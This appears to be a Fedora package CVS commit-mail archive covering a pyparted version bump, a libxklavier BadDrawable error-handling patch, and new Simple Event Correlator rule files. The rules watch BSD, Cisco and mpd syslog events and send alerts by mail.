Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pyparted/F-12/sources,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- sources	17 Aug 2009 17:50:50 -0000	1.41
+++ sources	3 Oct 2009 03:01:48 -0000	1.42
@@ -1 +1 @@
-14e970ff67d3c81c8226c779e4bbcf33  pyparted-2.1.2.tar.gz
+bb661435b7fce7bf773197c9aa2ad0ce  pyparted-2.2.tar.gz



From mclasen at fedoraproject.org  Sat Oct  3 02:38:44 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat,  3 Oct 2009 02:38:44 +0000 (UTC)
Subject: rpms/libxklavier/F-12 xklavier-handle-baddrawable.patch, NONE,
	1.1 libxklavier.spec, 1.52, 1.53
Message-ID: <20091003023844.C2A8D11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/libxklavier/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30835

Modified Files:
	libxklavier.spec 
Added Files:
	xklavier-handle-baddrawable.patch 
Log Message:
Bad Drawable


xklavier-handle-baddrawable.patch:
 xklavier_evt.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE xklavier-handle-baddrawable.patch ---
diff -up libxklavier-4.0/libxklavier/xklavier_evt.c.baddrawable libxklavier-4.0/libxklavier/xklavier_evt.c
--- libxklavier-4.0/libxklavier/xklavier_evt.c.baddrawable	2009-10-02 22:31:01.074772988 -0400
+++ libxklavier-4.0/libxklavier/xklavier_evt.c	2009-10-02 22:31:35.755551422 -0400
@@ -476,6 +476,7 @@ xkl_process_error(Display * dpy, XErrorE
 
 	switch (evt->error_code) {
 	case BadWindow:
+	case BadDrawable:
 	case BadAccess:
 		{
 			XGetErrorText(evt->display, evt->error_code, buf,


Index: libxklavier.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxklavier/F-12/libxklavier.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- libxklavier.spec	25 Jul 2009 08:58:13 -0000	1.52
+++ libxklavier.spec	3 Oct 2009 02:38:44 -0000	1.53
@@ -1,7 +1,7 @@
 Summary:	High-level API for X Keyboard Extension
 Name:		libxklavier
 Version:	4.0
-Release: 	4%{?dist}
+Release: 	5%{?dist}
 License:	LGPLv2+
 Group:		Development/Libraries
 URL: http://gswitchit.sourceforge.net/
@@ -16,6 +16,8 @@ Source: http://download.gnome.org/source
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 # http://bugs.freedesktop.org/show_bug.cgi?id=22687
 Patch0: flags.patch
+# https://bugs.freedesktop.org/show_bug.cgi?id=24285
+Patch1: xklavier-handle-baddrawable.patch
 
 %description
 libxklavier is a library providing a high-level API for the X Keyboard
@@ -78,6 +80,9 @@ rm -rf %{buildroot}
 %{_datadir}/gtk-doc/html/libxklavier/
 
 %changelog
+* Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 4.0-5
+- Handle BadDrawable errors gracefully
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From stefansf at fedoraproject.org  Sat Oct  3 07:35:43 2009
From: stefansf at fedoraproject.org (Stefan Schulze Frielinghaus)
Date: Sat,  3 Oct 2009 07:35:43 +0000 (UTC)
Subject: rpms/sec/devel bsd-general.sec, NONE, 1.1 bsd-mpd.sec, NONE,
	1.1 cisco-syslog.sec, NONE, 1.1 import.log, NONE,
	1.1 pix-general.sec, NONE, 1.1 .cvsignore, 1.4, 1.5 amavisd.sec,
	1.1, 1.2 bsd-MONITOR.sec, 1.1, 1.2 bsd-PHYSMOD.sec, 1.1,
	1.2 bsd-USERACT.sec, 1.1, 1.2 conf.README, 1.1, 1.2 cvs.sec, 1.1,
	1.2 dameware.sec, 1.1, 1.2 hp-openview.sec, 1.1, 1.2 labrea.sec,
	1.1, 1.2 pix-security.sec, 1.1, 1.2 pix-url.sec, 1.1,
	1.2 portscan.sec, 1.1, 1.2 sec.init, 1.1, 1.2 sec.logrotate, 1.1,
	1.2 sec.spec, 1.6, 1.7 snort.sec, 1.1, 1.2 snortsam.sec, 1.1,
	1.2 sources, 1.4, 1.5 ssh-brute.sec, 1.1, 1.2 ssh.sec, 1.1,
	1.2 vtund.sec, 1.1, 1.2 windows.sec, 1.1, 1.2 001_init.sec, 1.1,
	NONE clamav.sec, 1.1, NONE dbi-example.sec, 1.1,
	NONE general.sec, 1.1, NONE mpd.sec, 1.1, NONE syslog-ng.txt,
	1.1, NONE
Message-ID: <20091003073543.E42FB11C00E5@cvs1.fedora.phx.redhat.com>

Author: stefansf

Update of /cvs/pkgs/rpms/sec/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25630/devel

Modified Files:
	.cvsignore amavisd.sec bsd-MONITOR.sec bsd-PHYSMOD.sec 
	bsd-USERACT.sec conf.README cvs.sec dameware.sec 
	hp-openview.sec labrea.sec pix-security.sec pix-url.sec 
	portscan.sec sec.init sec.logrotate sec.spec snort.sec 
	snortsam.sec sources ssh-brute.sec ssh.sec vtund.sec 
	windows.sec 
Added Files:
	bsd-general.sec bsd-mpd.sec cisco-syslog.sec import.log 
	pix-general.sec 
Removed Files:
	001_init.sec clamav.sec dbi-example.sec general.sec mpd.sec 
	syslog-ng.txt 
Log Message:
- New upstream release
- SPEC file cleanup
- Init script cleanup
- Removed some examples because of licensing issues. Upstream has clarified
  and changed most of the license tags to GPLv2. Additionally, upstream
  will include the examples in the next release.
- Removed a provide statement since a period was in the name and no other
  package required that special name.



--- NEW FILE bsd-general.sec ---
# General log events, unix systems. From various sources
#
# Copyright (C) 2003-2009 Jim Brown
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#
#   Bad su 
# ----------- 
#
type=Single
ptype=RegExp 
desc=$0 
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com

type=Single
ptype=RegExp
desc=$0
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: BAD SU (\S+) to (\S+) on (\S+)
action=pipe '$2 failed SU to $3 on $1 at %t' /usr/bin/mail -s "USER: $2 Failed SU on $1" alerts at example.com 


# MONITOR.conf - SEC rules to pick up disruptive monitoring
# events.
#
#Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
#----------------------------------------------------------------------
#Nov 15 20:02:48 foohost syslogd: exiting on signal 15
#Nov 22 02:00:02 foohost syslogd: restart
#Nov 11 15:58:55 foohost /kernel: de0: promiscuous mode enabled
#Nov 11 15:58:57 foohost /kernel: de0: promiscuous mode disabled
#

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: exiting on signal (\d+)
desc=$0
action=write - MONITOR: $1 syslog exit on signal $2 at %t

#
# Syslog Restart
# ---------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+syslogd: restart
desc=$0
action=write - MONITOR: $1 syslog restart at %t

#
# Syslog Exit
# -----------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+) promiscuous mode (\S+)
desc=$0
action=write - MONITOR: $1 $2 promiscuous mode $3 at %t


#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=write - USERACT: $1 sshd $2 problem, text: $3 at %t

#
# sshd Accepted
# --------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: Accepted (.*)
desc=$0
action=write - USERACT: $1 sshd accepted login, text: $2 at %t

#
# login FAILURES
# ---------------
#
#type=Single
#ptype=RegExp
#pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+login: (.*?FAILURE.)(.*?ON) (.*)
#desc=$0
#action=write - USERACT: $1 login $2 on $4 at %t


#SSH Auth failure on bsd 5
#type=Single
#ptype=RegExp
#pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: error: PAM: authentication error for (/S+) from (/S+)
#desc=$0
#action=pipe 'SSHD: 1 $1 2 $2 3 $3 to 4 $4 on 5 $5 at %t' /usr/bin/mail -s "SSHD: $1 $2 $3 to $4 on $5 at %t' alerts at example.com

#
# su  bad
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (BAD SU) (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'USER: $1 SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com

#Nov 10 19:40:03 foohost su: jpb to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU jpb to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU badboy to root on /dev/ttyp0
#
#
# su  good to root
# -----------------
#
type=Single
ptype=RegExp
pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+su: (\S+) to root on (\S+)
desc=$0
action=pipe 'USER: $1 GOOD SU: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com  
#action=write - USERACT: $1 su: $2 to ROOT on $4  at %t

#
# Cabling Problem
# ----------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: (\S+)\s+(.*?:) cable problem
desc=$0
action=event 0 $1 PHYSMOD:ORANGE  cable problem on $2, text: $3 at %t



# USERACT - Events concerning user activities.
#
# Sample BSD logs involving logins, change of UID and privilege escalations.
#---------------------------------------------------------------------------
#Nov 14 12:14:58 foohost sshd[3388]: fatal: Timeout before authentication for 192.168.1.1
#Nov 14 19:58:34 foohost sshd[6597]: Bad protocol version identification '^B^S^D^Q^L' from 192.168.1.100
#Oct 18 06:16:53 foohost sshd[131]: Accepted keyboard-interactive/pam for foouser from 192.168.1.1 port 1077 ssh2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2
#Nov 15 04:02:24 foohost login: 1 LOGIN FAILURE ON ttyp2, mysql
#Oct 18 03:20:46 foohost login: 2 LOGIN FAILURES ON ttyv0
#Oct 18 02:52:04 foohost login: ROOT LOGIN (root) ON ttyv1
#Oct 18 06:11:11 foohost login: login on ttyv0 as root
#Nov 10 19:40:03 foohost su: foouser to root on /dev/ttyp0
#Nov 18 09:37:38 foohost su: BAD SU foouser to root on /dev/ttyp3
#Nov 22 12:26:44 foohost su: BAD SU goodboy to root on /dev/ttyp0
#

#
# sshd Problems
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+sshd\[\d+\]: (fatal|Bad)(.*)
desc=$0
action=pipe 'USER: $1 su: $2 $3 to $4 on $5 at %t' /usr/bin/mail -s "USERACT: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  sshd $2 problem, text: $3 at %t

#
# login FAILURES
# ---------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(sshd|login): (.*?FAILURE.)(.*?ON) (.*)
desc=$0
action=pipe 'USER: $1: Login Failure $2 on $4 at %t' /usr/bin/mail -s "USER: $1 su: $2 $3 to $4 on $5 at %t' alerts at example.com   
#action=event 0 $1 USERACT:YELLOW  login $2 on $4 at %t


# NETWACT - SEC rules to pick up suspicious network events.
#
# Sample BSD logs involving odd or suspicious network activity.
#--------------------------------------------------------------
#Jun  3 17:46:24 foohost named[38298]: client 10.12.127.176#3714: request has invalid signature: tsig verify failure
#Apr 14 16:23:08 foohost /kernel: arp: 10.10.152.12 moved from 00:90:27:37:35:cf to 00:d0:59:aa:61:11 on de0
#Apr  1 11:23:39 sixshooter /kernel: Limiting closed port RST response from 368 to 200 packets per second


#
# named Dynamic DNS Update rejection
# ----------------------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+named\[\d+\]: client (\S+): request has invalid signature:(.*)
desc=$0
action=pipe 'NET: $1 dyndns attempt from $2' /usr/bin/mail -s "NET: $1 dyndns attempt from $2, text: $3 at %t" alerts at example.com

#
# MAC address moved
# -----------------
# ORANGE
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: arp: (\S+) moved from (\S+) to (\S+) on (\S+)
desc=$0
action=pipe 'NET: $1 arp moved on $2' /usr/bin/mail -s "NET: $1 arp moved on $2 from: $3 to $4 on $5 at %t" alerts at example.com

#
# DoS RST rate limit
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Limiting closed port RST response from (\d+) to (\d+)
desc=$0
action=pipe 'NET: $1 RST limit enforced: $2 to $3 at %t' /usr/bin/mail =s "NET: $1 RST limit enforced: $2 to $3" alerts at example.com



# COMPROM - SEC rules to pick up potential system compromise events.
#
# Sample BSD logs involving potential system compromise.
#-------------------------------------------------------
#May 25 18:09:55 foohost ntpd[1325]: ntpd exiting on signal 11
#Jul 21 18:33:16 foohost /kernel: pid 55454 (ftpd), uid 1001: exited on signal 8
#Apr  9 12:57:06 foohost /kernel: pid 28039 (telnet), uid 0: exited on signal 3 (core dumped)

#
# ntpd crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+ntpd\[\d+\]: ntpd exiting on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 ntpd crashed on signal $2 at %t' /usr/bin/mail -s "CRASH: $1 ntpd crashed" alerts at example.com

#
# Process crash
# ------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: pid \d+ \(\S+\), uid (\d+): exited on signal (\d+)
desc=$0
action=pipe 'CRASH: $1 $2 crashed on signal $4, uid $3 at %t' /usr/bin/mail -s "CRASH: $1 $2 crashed" alerts at example.com



# PROCESS - SEC rules to pick up suspicious process events.
#
# Sample BSD logs involving unusual processes.
#---------------------------------------------
#Mar 23 08:05:52 foohost thttpd[126]: thttpd/2.25b 29dec2003 starting on port 8090

#
# Suspicious processes
# --------------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+(thttpd)\[(\d+)\]:(.*) 
desc=$0
action=pipe 'SUSPROC: $1 suspicious process  $2 pid $3, text: $4 at %t' /usr/bin/mail -s "SUSPROC: $1 suspicious process  $2" alerts at example.com



# SHUTRST - SEC rules to pick up system shutdown, restart events.
#
# Sample BSD logs involving system shutdown and reset.
#-----------------------------------------------------
#Mar  6 16:28:13 foohost reboot: rebooted by foouser 
#Jul 15 17:35:49 foohost halt: halted by root
#Mar  6 16:29:17 foohost /kernel: Copyright (c) 1992-2003 The FreeBSD Project.

#
# Reboot message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+reboot: rebooted by (\S+)
desc=$0
action=pipe 'REBOOT: $1 rebooted by $2' /usr/bin/mail -s "REBOOT: $1 rebooted by $2" alerts at example.com

#
# Halt message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+halt: halted by (\S+)
desc=$0
action=pipe 'HALT: $1 halted by $2' /usr/bin/mail -s "HALT: $1 halted by $2" alerts at example.com

#
# Restart message
# --------------
#
type=Single
ptype=RegExp
pattern=^\S+\s+\d+\s+\S+\s+(\S+)\s+/kernel: Copyright \(c\) (\S+) The FreeBSD Project
desc=$0
action=pipe 'RESTART: $1 restart message at %t' /usr/bin/mail -s "RESTART: $1 restart message" alerts at example.com



--- NEW FILE bsd-mpd.sec ---
#############################################################################
# BSD mpd events
#
# Copyright (C) 2003-2009 Matt Jonkman
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

type=single
desc = mpd connection start
ptype=regexp
pattern=([A-z._0-9-]*) mpd: PPTP connection from (\d+\.\d+\.\d+\.\d+):\d+
action=add GENERAL_REPORT MPD Start from $2 on $1

type=single
ptype=regexp
pattern=([A-z._0-9-]*) mpd:  Name: (.*)
desc = mpd user auth
action=add GENERAL_REPORT MPD User $2 Auth on $1

type=Single
ptype=RegExp
pattern=([A-z._0-9-]*) mpd: pptp\d: killing connection with (\d+\.\d+\.\d+\.\d+):\d+
desc=mpd connection end
action=add GENERAL_REPORT MPD Connection end from $2 on $1


--- NEW FILE cisco-syslog.sec ---
#############################################################################
# SEC rules for processing Cisco syslog messages
#
# Copyright (C) 2008-2009 Omer Ben-Shalom, Risto Vaarandi
# This is free software. You may redistribute copies of it under the terms of 
# the GNU General Public License version 2.
# There is NO WARRANTY, to the extent permitted by law.
#############################################################################

# ----- Process system configuration events -----

# System configuration events
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%SYS-5-CONFIG_I:
desc=device configuration

# System configuration sync to standby router
# suppressed because we don't care about it
#
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC:
desc=config sync

# ----- Process reload and restart events -----

# Looks for a reload 
# 
type=single
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD: (.*)
desc=(WARNING) reload requested for $1
action=pipe '%s details:$2' mail -s 'cisco event' root at example.com

# Looks for a reload followed by a restart event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SYS-5-RELOAD:
desc=(CRITICAL) $1 RELOAD_PROBLEM
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1).*?%SYS-5-RESTART:
desc2=(NOTICE) $1 RELOAD_OK
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

# Looks for a restart without reload command
# 
type=single
ptype=regexp
pattern=(\S+) \d+:.*?%SYS-5-RESTART:
desc=(CRITICAL) $1 restart without reload command
action=pipe '%s' mail -s 'cisco event' root at example.com

# ----- process SNMP authentication failure events -----

# this rule handles the SNMP authentication failures
# only one notification is sent for each source that is doing this per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%SNMP-3-AUTHFAIL: Authentication failure for SNMP req from host (\S+)
desc=(WARNING) Auth fail coming from $2
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process OSPF neighbor change events -----

# This rule handles OSPF neighbor changes
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OSPF-5-ADJCHG:.*?Nbr (\S+) on (\S+) from (\S+) to (\S+), (.*)
desc=(MINOR) OSPF adjacency change: Router $1 reports that the neighbor on $3 ($2) changed from state $4 to state $5 detail:$6
action=event %s; pipe '%s' mail -s 'cisco event' root at example.com

# This rule escalates to CRITICAL if there are more than 5 neighbor changes 
# in 5 seconds
# 
type=SingleWithThreshold
ptype=substr
pattern=(MINOR) OSPF adjacency change
desc=(CRITICAL) More than 5 OSPF neighbor changes in 5 seconds
action=pipe '%s' mail -s 'cisco event' root at example.com
thresh=5
window=5

# ----- process HSRP events -----

# This rule assembles together all HSRP events
# 
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%STANDBY-6-STATECHANGE: (\S+).*?state (\S+) -> (\S+)
desc=HSRP change for $1 interface $2 - changed from $3 to $4
action=add HSRP_$1 %t: %s; set HSRP_$1 5 (report HSRP_$1 mail -s 'cisco events' root at example.com)

# ----- process duplex mismatch events -----

# this rule handles the duplex mismatch event
# only one notification is sent for each port that has duplex mismatch 
# reported per day
#
type=singleWithSuppress
ptype=regexp
pattern=(\S+) \d+:.*?%CDP-4-DUPLEX_MISMATCH: duplex mismatch discovered on (not \S+) \((.*?)\), with (\S+) (\S+) \((.*?)\)
desc=(WARNING) Duplex mismatch between $1 port $2 ($3), other side is $4 port $5 ($6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=86400

# ----- process link down and link up events -----

# This rule deals with link down events
# 
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINK-3-UPDOWN: Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINK-3-UPDOWN: Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ BOUNCE
context=!INTERFACE_BOUNCE_WAIT_$1
desc=interface bounce summary event for router $1
action=create INTERFACE_BOUNCE_WAIT_$1 10 (report INTERFACE_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete INTERFACE_BOUNCE_$1)

# accumulate all interface bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) BOUNCE
desc=interface bounce for router $1 interface $2 detected
action=add INTERFACE_BOUNCE_$1 %t: %s

# ----- process line protocol down and line protocol up events -----

# This rule deals with protocol up/down events
#
type=PairWithWindow
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface (\S+), changed state to down
desc=(MINOR) $1 INTERFACE $2 line protocol DOWN and not up in one minute
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=RegExp
pattern2=($1)\s+\d+:.*?%LINEPROTO-5-UPDOWN: Line protocol on Interface ($2), changed state to up
desc2=(WARNING) %1 INTERFACE %2 line protocol BOUNCE
action2=event %s
window=60

# when the first bounce event is seen, create a reporting trigger 
#
type=Single
continue=TakeNext
ptype=regexp
pattern=(\S+) INTERFACE \S+ line protocol BOUNCE
context=!LINE_PROTOCOL_BOUNCE_WAIT_$1
desc=line protocol bounce for router $1
action=create LINE_PROTOCOL_BOUNCE_WAIT_$1 10 (report LINE_PROTOCOL_BOUNCE_$1 mail -s 'cisco events' root at example.com; delete LINE_PROTOCOL_BOUNCE_$1)

# accumulate all line protocol bounce events into a context
#
type=Single
ptype=regexp
pattern=(\S+) INTERFACE (\S+) line protocol BOUNCE
desc=line protocol bounce for router $1 interface $2 detected
action=add LINE_PROTOCOL_BOUNCE_$1 %t: %s

# ----- process late collision events -----

# Late collision alerts 
# 
type=SingleWithThreshold
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%PM_SCP-SP-4-LCP_FW_ABLC: Late collision message from module (\d+), port:(\d+)
desc=(MINOR) Multiple late collision events on $1 module $2 port $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=3600
thresh=5

# ----- process host flap events -----

# host flapping on single vlan 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts flapping between ports $4 and $5 in $1 vlan $3
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=5

# host flapping on multiple vlans 
# 
type=SingleWithThreshold
continue=TakeNext
ptype=RegExp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%C4K_EBM-4-HOSTFLAPPING: Host (\S+) in vlan (\S+) is flapping between port (\S+) and port (\S+)
desc=(MINOR) multiple hosts are flapping between ports $4 and $5 in $1 (potentially on multiple VLANs)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=300
thresh=20

# ----- process misc hw events -----

# %FILESYS-SP-STDBY-5-DEV:# flash disk removal
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%FILESYS-SP-STDBY-5-DEV:.*?PCMCIA flash card removed from (\S+)
desc=(WARNING) Flash card removed from $1 $2
action=pipe '%s' mail -s 'cisco event' root at example.com

# %OIR-SP-STDBY-6-CONSOLE
#
type=suppress
ptype=substr
pattern=%OIR-SP-STDBY-6-CONSOLE
desc=console access to route processor changed

# %OIR-SP-6-INSCARD:  - card inserted 
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%OIR-SP-6-INSCARD: Card inserted in slot (\d+), (.*)
desc=(HARMLESS) card inserted in $1 slot $2 status:$3
action=pipe '%s' mail -s 'cisco event' root at example.com 

# ----- process module events -----

# %DIAG-SP-3-TEST_FAIL - diagnostics failed on a module
#
type=single
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%DIAG-SP-3-TEST_FAIL: Module (\d+): (.*)
desc=(WARNING) diagnostics failed for $1 module $2 detail:$3
action=pipe '%s' mail -s 'cisco event' root at example.com

# %SNMP-5-MODULETRAP
# Looks for a module down followed by module up event
# 
type=pairWithWindow
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-MODULETRAP: Module (\d+) [Down] Trap
desc=(MINOR) $1 Module DOWN (not back up in a minute)
action=pipe '%s' mail -s 'cisco event' root at example.com
ptype2=regexp
pattern2=($1) .*? %SNMP-5-MODULETRAP: Module ($2) [Up] Trap
desc2=(WARNING) $1 Module $2 BOUNCE (down and back up within a minute)
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process irrelevant events (by suppressing) -----

# %SYS-SP-STDBY-5-RESTART - system restarted part of the boot - interesting?
# 
type=suppress
ptype=substr
pattern=SYS-SP-STDBY-5-RESTART
desc=system restarted

# %DIAG-SP-6-TEST_RUNNING - Running system test
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-TEST_RUNNING
desc=running diagnostics on a module

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP - module changed to backup state
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP
desc=module became backup

# %DIAG-SP-6-RUN_MINIMUM - diagnostics are run
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-RUN_MINIMUM
desc=diagnostics running on switch

# %DIAG-SP-6-DIAG_OK - diagnostics results are OK
# 
type=suppress
ptype=substr
pattern=%DIAG-SP-6-DIAG_OK
desc=diagnostics results are OK

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-STDBY-6-STANDBY
desc=SSO event (startup)

# %PFREDUN-SP-STDBY-6-STANDBY - SSO events
# 
type=suppress
ptype=substr
pattern=%PFREDUN-SP-6-ACTIVE
desc=SSO event (startup)

# %FABRIC-SP-5-FABRIC_MODULE_BACKUP: - secondary sup is up and is secondary
# 
type=suppress
ptype=substr
pattern=%FABRIC-SP-5-FABRIC_MODULE_BACKUP:
desc=secondary sup is up and is secondary

# %PFINIT-SP-5-CONFIG_SYNC - startup config on standby router sync
# 
type=suppress
ptype=substr
pattern=%PFINIT-SP-5-CONFIG_SYNC
desc=startup config on standby router sync

# %C4K_REDUNDANCY - Cayt 4K configuration/vlan database succesful sync
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=regexp
pattern=%C4K_REDUNDANCY.*?success
desc=config sync with standby supervisor

# %SCP-SP-5-ASYNC_WATERMARK: SCP long queue wait
# the success match is to allow fails in sync to not be suppress
# 
type=suppress
ptype=substr
pattern=%SCP-SP-5-ASYNC_WATERMARK:
desc=SCP control protocol pending queue is longer than notification threshold

# %MLS_RATE-4-DISABLING: - Layer2 Rate Limiters have been disabled. Is this interesting?
#
type=suppress
ptype=substr
pattern=%MLS_RATE-4-DISABLING:
desc=Layer2 Rate Limiters have been disabled

# ----- process native VLAN mismatch events -----

# %CDP-4-NATIVE_VLAN_MISMATCH: - native VLAN mismatch between switches, will repeat every minute until fixed
#
type=singleWithSuppress
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%CDP-4-NATIVE_VLAN_MISMATCH: Native VLAN mismatch discovered on (\S+) \((\d+)\), with (\S+) (\S+) \((\d+)\)
desc=(MINOR) A native VLAN mistmatch reported between $1 interface $2 (native VLAN $3) and host $4 interface $5 (native VLAN $6)
action=pipe '%s' mail -s 'cisco event' root at example.com
window=60

# ----- process snmp trapblock messages -----

# %SNMP-3-TRAPBLOCK - A process tried to create a trap it is not entitled to create
# See Cisco http://www.cisco.com/cgi-bin/Support/Errordecoder/index.cgi?action=search&counter=0&paging=5&query=SNMP-3-TRAPBLOCK
# 
type=suppress
ptype=substr
pattern=%SNMP-3-TRAPBLOCK
desc=a process tried to create a trap it is not entitled to create

# ----- process chassis alarm events -----

# %SNMP-5-CHASSISALARM - this rule handles the tmpAlarm
#
type=pairWithWindow
continue=takeNext
ptype=regexp
pattern=\d+:\d+:\d+.*?(\S+)\s+\d+:.*?%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(ON\)
desc=(MINOR) $1 temprature alarm signaled and not cleared in five minutes
action=pipe '%s' mail -s 'cisco event' root at example.com
continue2=takeNext
ptype2=regexp
pattern2=\d+:\d+:\d+.*?($1)\s+\d+:.*%SNMP-5-CHASSISALARM: Chassis Alarm Trap: tmpAlarm\(OFF\)
desc2=(WARNING) $1 temprature alarm went on and was cleared in under five minutes
action2=pipe '%s' mail -s 'cisco event' root at example.com
window=300

